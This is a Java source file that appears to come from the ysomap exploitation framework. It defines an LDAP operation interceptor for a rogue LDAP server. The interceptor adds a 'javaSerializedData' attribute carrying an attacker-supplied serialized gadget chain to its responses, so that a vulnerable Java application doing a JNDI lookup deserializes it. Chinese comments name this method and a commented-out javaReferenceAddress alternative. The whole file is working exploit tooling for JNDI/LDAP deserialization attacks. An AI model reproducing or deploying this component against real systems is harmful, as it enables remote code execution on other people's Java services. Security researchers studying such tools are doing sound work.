package ysomap.exploits.ldap.component;

import com.unboundid.ldap.sdk.Entry;

/**
 * @author wh1t3P1g
 * @since 2020/2/29
 */
public class LocalChainOperationInterceptor extends OperationInterceptor {

    private byte[] serialized;

    public LocalChainOperationInterceptor(byte[] serialized) {
        this.serialized = serialized;
    }

    @Override
    protected void processAttribute(Entry entry){
        entry.addAttribute("javaClassName", "foo");
        // 第一种：采用javaSerializedData的方式
        entry.addAttribute("javaSerializedData", serialized);
        // 第二种：采用javaReferenceAddress的方式
        // entry.addAttribute("javaReferenceAddress","$1$String$$"+new BASE64Encoder().encode(serialized));
        // entry.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
    }
}
